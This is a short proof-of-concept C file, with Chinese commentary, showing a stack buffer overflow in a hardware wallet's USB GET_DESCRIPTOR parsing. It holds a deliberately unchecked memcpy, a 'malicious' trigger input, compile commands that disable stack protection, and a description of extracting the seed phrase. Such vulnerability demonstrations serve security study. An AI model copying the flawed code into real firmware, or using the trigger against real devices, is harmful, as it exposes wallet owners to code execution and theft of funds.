
// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
char descriptor[32];
if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
// Copy descriptor payload without bounds check
memcpy(descriptor, data+1, len-1); // overflow if len>33
}
}
int main() {
char malicious[64];
memset(malicious, 'A', 63);
malicious[0] = 0x06;
handle_usb_setup(malicious, 64);
return 0;
}
硬件钱包的 USB 协议栈在解析带有超大负载的 GET_DESCRIPTOR 请求时存在栈缓冲区溢出。具有物理 USB 访问权限的攻击者可利用此漏洞覆盖返回地址并实现代码执行,从而提取助记词。
针对目标架构进行编译并运行(模拟):
gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb
该程序会因栈破坏而崩溃。